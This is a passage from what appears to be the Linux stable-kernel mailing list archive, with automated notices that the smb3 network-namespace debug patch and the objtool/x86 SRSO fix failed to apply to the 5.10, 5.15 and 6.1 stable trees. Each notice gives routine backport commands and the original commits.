atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+
if (server->leaf_fullpath) {
seq_printf(m, "\nDFS leaf full path: %s",
server->leaf_fullpath);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] smb3: display network namespace in debug information" failed to apply to 5.10-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.10-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.10.y
git checkout FETCH_HEAD
git cherry-pick -x 7b38f6ddc97bf572c3422d3175e8678dd95502fa
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082054-surely-unblessed-7d79@gregkh' --subject-prefix 'PATCH 5.10.y' HEAD^..
Possible dependencies:
7b38f6ddc97b ("smb3: display network namespace in debug information")
3ae872de4107 ("smb: client: fix shared DFS root mounts with different prefixes")
38c8a9a52082 ("smb: move client and server files to common directory fs/smb")
72a7804a667e ("cifs: fix smb1 mount regression")
8e3554150d6c ("cifs: fix sharing of DFS connections")
3dc9c433c9dd ("cifs: protect access of TCP_Server_Info::{origin,leaf}_fullpath")
ee20d7c61007 ("cifs: fix potential race when tree connecting ipc")
d5a863a153e9 ("cifs: avoid dup prefix path in dfs_get_automount_devname()")
2f4e429c8469 ("cifs: lock chan_lock outside match_session")
396935de1455 ("cifs: fix use-after-free bug in refresh_cache_worker()")
b56bce502f55 ("cifs: set DFS root session in cifs_get_smb_ses()")
b9ee2e307c6b ("cifs: improve checking of DFS links over STATUS_OBJECT_NAME_INVALID")
9e6002c8738a ("cifs: ignore ipc reconnect failures during dfs failover")
7ad54b98fc1f ("cifs: use origin fullpath for automounts")
466611e4af82 ("cifs: fix source pathname comparison of dfs supers")
1d04a6fe75ee ("cifs: don't block in dfs_cache_noreq_update_tgthint()")
6916881f443f ("cifs: fix refresh of cached referrals")
cb3f6d876452 ("cifs: don't refresh cached referrals from unactive mounts")
a1c0d00572fc ("cifs: share dfs connections and supers")
a73a26d97eca ("cifs: split out ses and tcon retrieval from mount_get_conns()")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 7b38f6ddc97bf572c3422d3175e8678dd95502fa Mon Sep 17 00:00:00 2001
From: Steve French <stfrench(a)microsoft.com>
Date: Thu, 10 Aug 2023 21:41:03 -0500
Subject: [PATCH] smb3: display network namespace in debug information
We recently had problems where a network namespace was deleted
causing hard to debug reconnect problems. To help deal with
configuration issues like this it is useful to dump the network
namespace to better debug what happened.
So add this to information displayed in /proc/fs/cifs/DebugData for
the server (and channels if mounted with multichannel). For example:
Local Users To Server: 1 SecMode: 0x1 Req On Wire: 0 Net namespace: 4026531840
This can be easily compared with what is displayed for the
processes on the system. For example /proc/1/ns/net in this case
showed the same thing (see below), and we can see that the namespace
is still valid in this example.
'net:[4026531840]'
Cc: stable(a)vger.kernel.org
Acked-by: Paulo Alcantara (SUSE) <pc(a)manguebit.com>
Signed-off-by: Steve French <stfrench(a)microsoft.com>
diff --git a/fs/smb/client/cifs_debug.c b/fs/smb/client/cifs_debug.c
index fb4162a52844..aec6e9137474 100644
--- a/fs/smb/client/cifs_debug.c
+++ b/fs/smb/client/cifs_debug.c
@@ -153,6 +153,11 @@ cifs_dump_channel(struct seq_file *m, int i, struct cifs_chan *chan)
in_flight(server),
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
+
}
static inline const char *smb_speed_to_str(size_t bps)
@@ -430,10 +435,15 @@ static int cifs_debug_data_proc_show(struct seq_file *m, void *v)
server->reconnect_instance,
server->srv_count,
server->sec_mode, in_flight(server));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
seq_printf(m, "\nIn Send: %d In MaxReq Wait: %d",
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+
if (server->leaf_fullpath) {
seq_printf(m, "\nDFS leaf full path: %s",
server->leaf_fullpath);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] smb3: display network namespace in debug information" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x 7b38f6ddc97bf572c3422d3175e8678dd95502fa
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082052-numerous-pantyhose-40a0@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
7b38f6ddc97b ("smb3: display network namespace in debug information")
3ae872de4107 ("smb: client: fix shared DFS root mounts with different prefixes")
38c8a9a52082 ("smb: move client and server files to common directory fs/smb")
72a7804a667e ("cifs: fix smb1 mount regression")
8e3554150d6c ("cifs: fix sharing of DFS connections")
3dc9c433c9dd ("cifs: protect access of TCP_Server_Info::{origin,leaf}_fullpath")
ee20d7c61007 ("cifs: fix potential race when tree connecting ipc")
d5a863a153e9 ("cifs: avoid dup prefix path in dfs_get_automount_devname()")
2f4e429c8469 ("cifs: lock chan_lock outside match_session")
396935de1455 ("cifs: fix use-after-free bug in refresh_cache_worker()")
b56bce502f55 ("cifs: set DFS root session in cifs_get_smb_ses()")
b9ee2e307c6b ("cifs: improve checking of DFS links over STATUS_OBJECT_NAME_INVALID")
9e6002c8738a ("cifs: ignore ipc reconnect failures during dfs failover")
7ad54b98fc1f ("cifs: use origin fullpath for automounts")
466611e4af82 ("cifs: fix source pathname comparison of dfs supers")
1d04a6fe75ee ("cifs: don't block in dfs_cache_noreq_update_tgthint()")
6916881f443f ("cifs: fix refresh of cached referrals")
cb3f6d876452 ("cifs: don't refresh cached referrals from unactive mounts")
a1c0d00572fc ("cifs: share dfs connections and supers")
a73a26d97eca ("cifs: split out ses and tcon retrieval from mount_get_conns()")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 7b38f6ddc97bf572c3422d3175e8678dd95502fa Mon Sep 17 00:00:00 2001
From: Steve French <stfrench(a)microsoft.com>
Date: Thu, 10 Aug 2023 21:41:03 -0500
Subject: [PATCH] smb3: display network namespace in debug information
We recently had problems where a network namespace was deleted
causing hard to debug reconnect problems. To help deal with
configuration issues like this it is useful to dump the network
namespace to better debug what happened.
So add this to information displayed in /proc/fs/cifs/DebugData for
the server (and channels if mounted with multichannel). For example:
Local Users To Server: 1 SecMode: 0x1 Req On Wire: 0 Net namespace: 4026531840
This can be easily compared with what is displayed for the
processes on the system. For example /proc/1/ns/net in this case
showed the same thing (see below), and we can see that the namespace
is still valid in this example.
'net:[4026531840]'
Cc: stable(a)vger.kernel.org
Acked-by: Paulo Alcantara (SUSE) <pc(a)manguebit.com>
Signed-off-by: Steve French <stfrench(a)microsoft.com>
diff --git a/fs/smb/client/cifs_debug.c b/fs/smb/client/cifs_debug.c
index fb4162a52844..aec6e9137474 100644
--- a/fs/smb/client/cifs_debug.c
+++ b/fs/smb/client/cifs_debug.c
@@ -153,6 +153,11 @@ cifs_dump_channel(struct seq_file *m, int i, struct cifs_chan *chan)
in_flight(server),
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
+
}
static inline const char *smb_speed_to_str(size_t bps)
@@ -430,10 +435,15 @@ static int cifs_debug_data_proc_show(struct seq_file *m, void *v)
server->reconnect_instance,
server->srv_count,
server->sec_mode, in_flight(server));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
seq_printf(m, "\nIn Send: %d In MaxReq Wait: %d",
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+
if (server->leaf_fullpath) {
seq_printf(m, "\nDFS leaf full path: %s",
server->leaf_fullpath);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] smb3: display network namespace in debug information" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x 7b38f6ddc97bf572c3422d3175e8678dd95502fa
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082048-jeep-prancing-da9a@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
7b38f6ddc97b ("smb3: display network namespace in debug information")
3ae872de4107 ("smb: client: fix shared DFS root mounts with different prefixes")
38c8a9a52082 ("smb: move client and server files to common directory fs/smb")
72a7804a667e ("cifs: fix smb1 mount regression")
8e3554150d6c ("cifs: fix sharing of DFS connections")
3dc9c433c9dd ("cifs: protect access of TCP_Server_Info::{origin,leaf}_fullpath")
ee20d7c61007 ("cifs: fix potential race when tree connecting ipc")
d5a863a153e9 ("cifs: avoid dup prefix path in dfs_get_automount_devname()")
2f4e429c8469 ("cifs: lock chan_lock outside match_session")
396935de1455 ("cifs: fix use-after-free bug in refresh_cache_worker()")
b56bce502f55 ("cifs: set DFS root session in cifs_get_smb_ses()")
b9ee2e307c6b ("cifs: improve checking of DFS links over STATUS_OBJECT_NAME_INVALID")
9e6002c8738a ("cifs: ignore ipc reconnect failures during dfs failover")
7ad54b98fc1f ("cifs: use origin fullpath for automounts")
466611e4af82 ("cifs: fix source pathname comparison of dfs supers")
1d04a6fe75ee ("cifs: don't block in dfs_cache_noreq_update_tgthint()")
6916881f443f ("cifs: fix refresh of cached referrals")
cb3f6d876452 ("cifs: don't refresh cached referrals from unactive mounts")
a1c0d00572fc ("cifs: share dfs connections and supers")
a73a26d97eca ("cifs: split out ses and tcon retrieval from mount_get_conns()")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 7b38f6ddc97bf572c3422d3175e8678dd95502fa Mon Sep 17 00:00:00 2001
From: Steve French <stfrench(a)microsoft.com>
Date: Thu, 10 Aug 2023 21:41:03 -0500
Subject: [PATCH] smb3: display network namespace in debug information
We recently had problems where a network namespace was deleted
causing hard to debug reconnect problems. To help deal with
configuration issues like this it is useful to dump the network
namespace to better debug what happened.
So add this to information displayed in /proc/fs/cifs/DebugData for
the server (and channels if mounted with multichannel). For example:
Local Users To Server: 1 SecMode: 0x1 Req On Wire: 0 Net namespace: 4026531840
This can be easily compared with what is displayed for the
processes on the system. For example /proc/1/ns/net in this case
showed the same thing (see below), and we can see that the namespace
is still valid in this example.
'net:[4026531840]'
Cc: stable(a)vger.kernel.org
Acked-by: Paulo Alcantara (SUSE) <pc(a)manguebit.com>
Signed-off-by: Steve French <stfrench(a)microsoft.com>
diff --git a/fs/smb/client/cifs_debug.c b/fs/smb/client/cifs_debug.c
index fb4162a52844..aec6e9137474 100644
--- a/fs/smb/client/cifs_debug.c
+++ b/fs/smb/client/cifs_debug.c
@@ -153,6 +153,11 @@ cifs_dump_channel(struct seq_file *m, int i, struct cifs_chan *chan)
in_flight(server),
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
+
}
static inline const char *smb_speed_to_str(size_t bps)
@@ -430,10 +435,15 @@ static int cifs_debug_data_proc_show(struct seq_file *m, void *v)
server->reconnect_instance,
server->srv_count,
server->sec_mode, in_flight(server));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
seq_printf(m, "\nIn Send: %d In MaxReq Wait: %d",
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+
if (server->leaf_fullpath) {
seq_printf(m, "\nDFS leaf full path: %s",
server->leaf_fullpath);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] objtool/x86: Fix SRSO mess" failed to apply to 5.10-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.10-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.10.y
git checkout FETCH_HEAD
git cherry-pick -x 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082001-sessions-transpose-175d@gregkh' --subject-prefix 'PATCH 5.10.y' HEAD^..
Possible dependencies:
4ae68b26c3ab ("objtool/x86: Fix SRSO mess")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
6f612579be9d ("Merge tag 'objtool-core-2023-06-27' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:29 +0200
Subject: [PATCH] objtool/x86: Fix SRSO mess
Objtool --rethunk does two things:
- it collects all (tail) call's of __x86_return_thunk and places them
into .return_sites. These are typically compiler generated, but
RET also emits this same.
- it fudges the validation of the __x86_return_thunk symbol; because
this symbol is inside another instruction, it can't actually find
the instruction pointed to by the symbol offset and gets upset.
Because these two things pertained to the same symbol, there was no
pressing need to separate these two separate things.
However, alas, along comes SRSO and more crazy things to deal with
appeared.
The SRSO patch itself added the following symbol names to identify as
rethunk:
'srso_untrain_ret', 'srso_safe_ret' and '__ret'
Where '__ret' is the old retbleed return thunk, 'srso_safe_ret' is a
new similarly embedded return thunk, and 'srso_untrain_ret' is
completely unrelated to anything the above does (and was only included
because of that INT3 vs UD2 issue fixed previous).
Clear things up by adding a second category for the embedded instruction
thing.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121148.704502245@infradead.org
diff --git a/tools/objtool/arch/x86/decode.c b/tools/objtool/arch/x86/decode.c
index 2d51fa8da9e8..cba8a7be040e 100644
--- a/tools/objtool/arch/x86/decode.c
+++ b/tools/objtool/arch/x86/decode.c
@@ -824,8 +824,11 @@ bool arch_is_retpoline(struct symbol *sym)
bool arch_is_rethunk(struct symbol *sym)
{
- return !strcmp(sym->name, "__x86_return_thunk") ||
- !strcmp(sym->name, "srso_untrain_ret") ||
- !strcmp(sym->name, "srso_safe_ret") ||
- !strcmp(sym->name, "__ret");
+ return !strcmp(sym->name, "__x86_return_thunk");
+}
+
+bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return !strcmp(sym->name, "__ret") ||
+ !strcmp(sym->name, "srso_safe_ret");
}
diff --git a/tools/objtool/check.c b/tools/objtool/check.c
index e2ee10ce7703..191656ee9fbc 100644
--- a/tools/objtool/check.c
+++ b/tools/objtool/check.c
@@ -455,7 +455,7 @@ static int decode_instructions(struct objtool_file *file)
return -1;
}
- if (func->return_thunk || func->alias != func)
+ if (func->embedded_insn || func->alias != func)
continue;
if (!find_insn(file, sec, func->offset)) {
@@ -1288,16 +1288,33 @@ static int add_ignore_alternatives(struct objtool_file *file)
return 0;
}
+/*
+ * Symbols that replace INSN_CALL_DYNAMIC, every (tail) call to such a symbol
+ * will be added to the .retpoline_sites section.
+ */
__weak bool arch_is_retpoline(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that replace INSN_RETURN, every (tail) call to such a symbol
+ * will be added to the .return_sites section.
+ */
__weak bool arch_is_rethunk(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that are embedded inside other instructions, because sometimes crazy
+ * code exists. These are mostly ignored for validation purposes.
+ */
+__weak bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return false;
+}
+
static struct reloc *insn_reloc(struct objtool_file *file, struct instruction *insn)
{
struct reloc *reloc;
@@ -1583,7 +1600,7 @@ static int add_jump_destinations(struct objtool_file *file)
* middle of another instruction. Objtool only
* knows about the outer instruction.
*/
- if (sym && sym->return_thunk) {
+ if (sym && sym->embedded_insn) {
add_return_call(file, insn, false);
continue;
}
@@ -2502,6 +2519,9 @@ static int classify_symbols(struct objtool_file *file)
if (arch_is_rethunk(func))
func->return_thunk = true;
+ if (arch_is_embedded_insn(func))
+ func->embedded_insn = true;
+
if (arch_ftrace_match(func->name))
func->fentry = true;
diff --git a/tools/objtool/include/objtool/arch.h b/tools/objtool/include/objtool/arch.h
index 2b6d2ce4f9a5..0b303eba660e 100644
--- a/tools/objtool/include/objtool/arch.h
+++ b/tools/objtool/include/objtool/arch.h
@@ -90,6 +90,7 @@ int arch_decode_hint_reg(u8 sp_reg, int *base);
bool arch_is_retpoline(struct symbol *sym);
bool arch_is_rethunk(struct symbol *sym);
+bool arch_is_embedded_insn(struct symbol *sym);
int arch_rewrite_retpolines(struct objtool_file *file);
diff --git a/tools/objtool/include/objtool/elf.h b/tools/objtool/include/objtool/elf.h
index c532d70864dc..9f71e988eca4 100644
--- a/tools/objtool/include/objtool/elf.h
+++ b/tools/objtool/include/objtool/elf.h
@@ -66,6 +66,7 @@ struct symbol {
u8 fentry : 1;
u8 profiling_func : 1;
u8 warned : 1;
+ u8 embedded_insn : 1;
struct list_head pv_target;
struct reloc *relocs;
};
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] objtool/x86: Fix SRSO mess" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082059-hacksaw-deflator-8c6c@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
4ae68b26c3ab ("objtool/x86: Fix SRSO mess")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
6f612579be9d ("Merge tag 'objtool-core-2023-06-27' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:29 +0200
Subject: [PATCH] objtool/x86: Fix SRSO mess
Objtool --rethunk does two things:
- it collects all (tail) call's of __x86_return_thunk and places them
into .return_sites. These are typically compiler generated, but
RET also emits this same.
- it fudges the validation of the __x86_return_thunk symbol; because
this symbol is inside another instruction, it can't actually find
the instruction pointed to by the symbol offset and gets upset.
Because these two things pertained to the same symbol, there was no
pressing need to separate these two separate things.
However, alas, along comes SRSO and more crazy things to deal with
appeared.
The SRSO patch itself added the following symbol names to identify as
rethunk:
'srso_untrain_ret', 'srso_safe_ret' and '__ret'
Where '__ret' is the old retbleed return thunk, 'srso_safe_ret' is a
new similarly embedded return thunk, and 'srso_untrain_ret' is
completely unrelated to anything the above does (and was only included
because of that INT3 vs UD2 issue fixed previous).
Clear things up by adding a second category for the embedded instruction
thing.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121148.704502245@infradead.org
diff --git a/tools/objtool/arch/x86/decode.c b/tools/objtool/arch/x86/decode.c
index 2d51fa8da9e8..cba8a7be040e 100644
--- a/tools/objtool/arch/x86/decode.c
+++ b/tools/objtool/arch/x86/decode.c
@@ -824,8 +824,11 @@ bool arch_is_retpoline(struct symbol *sym)
bool arch_is_rethunk(struct symbol *sym)
{
- return !strcmp(sym->name, "__x86_return_thunk") ||
- !strcmp(sym->name, "srso_untrain_ret") ||
- !strcmp(sym->name, "srso_safe_ret") ||
- !strcmp(sym->name, "__ret");
+ return !strcmp(sym->name, "__x86_return_thunk");
+}
+
+bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return !strcmp(sym->name, "__ret") ||
+ !strcmp(sym->name, "srso_safe_ret");
}
diff --git a/tools/objtool/check.c b/tools/objtool/check.c
index e2ee10ce7703..191656ee9fbc 100644
--- a/tools/objtool/check.c
+++ b/tools/objtool/check.c
@@ -455,7 +455,7 @@ static int decode_instructions(struct objtool_file *file)
return -1;
}
- if (func->return_thunk || func->alias != func)
+ if (func->embedded_insn || func->alias != func)
continue;
if (!find_insn(file, sec, func->offset)) {
@@ -1288,16 +1288,33 @@ static int add_ignore_alternatives(struct objtool_file *file)
return 0;
}
+/*
+ * Symbols that replace INSN_CALL_DYNAMIC, every (tail) call to such a symbol
+ * will be added to the .retpoline_sites section.
+ */
__weak bool arch_is_retpoline(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that replace INSN_RETURN, every (tail) call to such a symbol
+ * will be added to the .return_sites section.
+ */
__weak bool arch_is_rethunk(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that are embedded inside other instructions, because sometimes crazy
+ * code exists. These are mostly ignored for validation purposes.
+ */
+__weak bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return false;
+}
+
static struct reloc *insn_reloc(struct objtool_file *file, struct instruction *insn)
{
struct reloc *reloc;
@@ -1583,7 +1600,7 @@ static int add_jump_destinations(struct objtool_file *file)
* middle of another instruction. Objtool only
* knows about the outer instruction.
*/
- if (sym && sym->return_thunk) {
+ if (sym && sym->embedded_insn) {
add_return_call(file, insn, false);
continue;
}
@@ -2502,6 +2519,9 @@ static int classify_symbols(struct objtool_file *file)
if (arch_is_rethunk(func))
func->return_thunk = true;
+ if (arch_is_embedded_insn(func))
+ func->embedded_insn = true;
+
if (arch_ftrace_match(func->name))
func->fentry = true;
diff --git a/tools/objtool/include/objtool/arch.h b/tools/objtool/include/objtool/arch.h
index 2b6d2ce4f9a5..0b303eba660e 100644
--- a/tools/objtool/include/objtool/arch.h
+++ b/tools/objtool/include/objtool/arch.h
@@ -90,6 +90,7 @@ int arch_decode_hint_reg(u8 sp_reg, int *base);
bool arch_is_retpoline(struct symbol *sym);
bool arch_is_rethunk(struct symbol *sym);
+bool arch_is_embedded_insn(struct symbol *sym);
int arch_rewrite_retpolines(struct objtool_file *file);
diff --git a/tools/objtool/include/objtool/elf.h b/tools/objtool/include/objtool/elf.h
index c532d70864dc..9f71e988eca4 100644
--- a/tools/objtool/include/objtool/elf.h
+++ b/tools/objtool/include/objtool/elf.h
@@ -66,6 +66,7 @@ struct symbol {
u8 fentry : 1;
u8 profiling_func : 1;
u8 warned : 1;
+ u8 embedded_insn : 1;
struct list_head pv_target;
struct reloc *relocs;
};
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] objtool/x86: Fix SRSO mess" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082058-catalog-reconvene-ddce@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
4ae68b26c3ab ("objtool/x86: Fix SRSO mess")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
6f612579be9d ("Merge tag 'objtool-core-2023-06-27' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:29 +0200
Subject: [PATCH] objtool/x86: Fix SRSO mess
Objtool --rethunk does two things:
- it collects all (tail) call's of __x86_return_thunk and places them
into .return_sites. These are typically compiler generated, but
RET also emits this same.
- it fudges the validation of the __x86_return_thunk symbol; because
this symbol is inside another instruction, it can't actually find
the instruction pointed to by the symbol offset and gets upset.
Because these two things pertained to the same symbol, there was no
pressing need to separate these two separate things.
However, alas, along comes SRSO and more crazy things to deal with
appeared.
The SRSO patch itself added the following symbol names to identify as
rethunk:
'srso_untrain_ret', 'srso_safe_ret' and '__ret'
Where '__ret' is the old retbleed return thunk, 'srso_safe_ret' is a
new similarly embedded return thunk, and 'srso_untrain_ret' is
completely unrelated to anything the above does (and was only included
because of that INT3 vs UD2 issue fixed previous).
Clear things up by adding a second category for the embedded instruction
thing.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121148.704502245@infradead.org
diff --git a/tools/objtool/arch/x86/decode.c b/tools/objtool/arch/x86/decode.c
index 2d51fa8da9e8..cba8a7be040e 100644
--- a/tools/objtool/arch/x86/decode.c
+++ b/tools/objtool/arch/x86/decode.c
@@ -824,8 +824,11 @@ bool arch_is_retpoline(struct symbol *sym)
bool arch_is_rethunk(struct symbol *sym)
{
- return !strcmp(sym->name, "__x86_return_thunk") ||
- !strcmp(sym->name, "srso_untrain_ret") ||
- !strcmp(sym->name, "srso_safe_ret") ||
- !strcmp(sym->name, "__ret");
+ return !strcmp(sym->name, "__x86_return_thunk");
+}
+
+bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return !strcmp(sym->name, "__ret") ||
+ !strcmp(sym->name, "srso_safe_ret");
}
diff --git a/tools/objtool/check.c b/tools/objtool/check.c
index e2ee10ce7703..191656ee9fbc 100644
--- a/tools/objtool/check.c
+++ b/tools/objtool/check.c
@@ -455,7 +455,7 @@ static int decode_instructions(struct objtool_file *file)
return -1;
}
- if (func->return_thunk || func->alias != func)
+ if (func->embedded_insn || func->alias != func)
continue;
if (!find_insn(file, sec, func->offset)) {
@@ -1288,16 +1288,33 @@ static int add_ignore_alternatives(struct objtool_file *file)
return 0;
}
+/*
+ * Symbols that replace INSN_CALL_DYNAMIC, every (tail) call to such a symbol
+ * will be added to the .retpoline_sites section.
+ */
__weak bool arch_is_retpoline(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that replace INSN_RETURN, every (tail) call to such a symbol
+ * will be added to the .return_sites section.
+ */
__weak bool arch_is_rethunk(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that are embedded inside other instructions, because sometimes crazy
+ * code exists. These are mostly ignored for validation purposes.
+ */
+__weak bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return false;
+}
+
static struct reloc *insn_reloc(struct objtool_file *file, struct instruction *insn)
{
struct reloc *reloc;
@@ -1583,7 +1600,7 @@ static int add_jump_destinations(struct objtool_file *file)
* middle of another instruction. Objtool only
* knows about the outer instruction.
*/
- if (sym && sym->return_thunk) {
+ if (sym && sym->embedded_insn) {
add_return_call(file, insn, false);
continue;
}
@@ -2502,6 +2519,9 @@ static int classify_symbols(struct objtool_file *file)
if (arch_is_rethunk(func))
func->return_thunk = true;
+ if (arch_is_embedded_insn(func))
+ func->embedded_insn = true;
+
if (arch_ftrace_match(func->name))
func->fentry = true;
diff --git a/tools/objtool/include/objtool/arch.h b/tools/objtool/include/objtool/arch.h
index 2b6d2ce4f9a5..0b303eba660e 100644
--- a/tools/objtool/include/objtool/arch.h
+++ b/tools/objtool/include/objtool/arch.h
@@ -90,6 +90,7 @@ int arch_decode_hint_reg(u8 sp_reg, int *base);
bool arch_is_retpoline(struct symbol *sym);
bool arch_is_rethunk(struct symbol *sym);
+bool arch_is_embedded_insn(struct symbol *sym);
int arch_rewrite_retpolines(struct objtool_file *file);
diff --git a/tools/objtool/include/objtool/elf.h b/tools/objtool/include/objtool/elf.h
index c532d70864dc..9f71e988eca4 100644
--- a/tools/objtool/include/objtool/elf.h
+++ b/tools/objtool/include/objtool/elf.h
@@ -66,6 +66,7 @@ struct symbol {
u8 fentry : 1;
u8 profiling_func : 1;
u8 warned : 1;
+ u8 embedded_insn : 1;
struct list_head pv_target;
struct reloc *relocs;
};
2 years, 4 months
- 1
- 0
[RE]: RE:
by Kristine Wellenstein
Sehr geehrter Begünstigter,
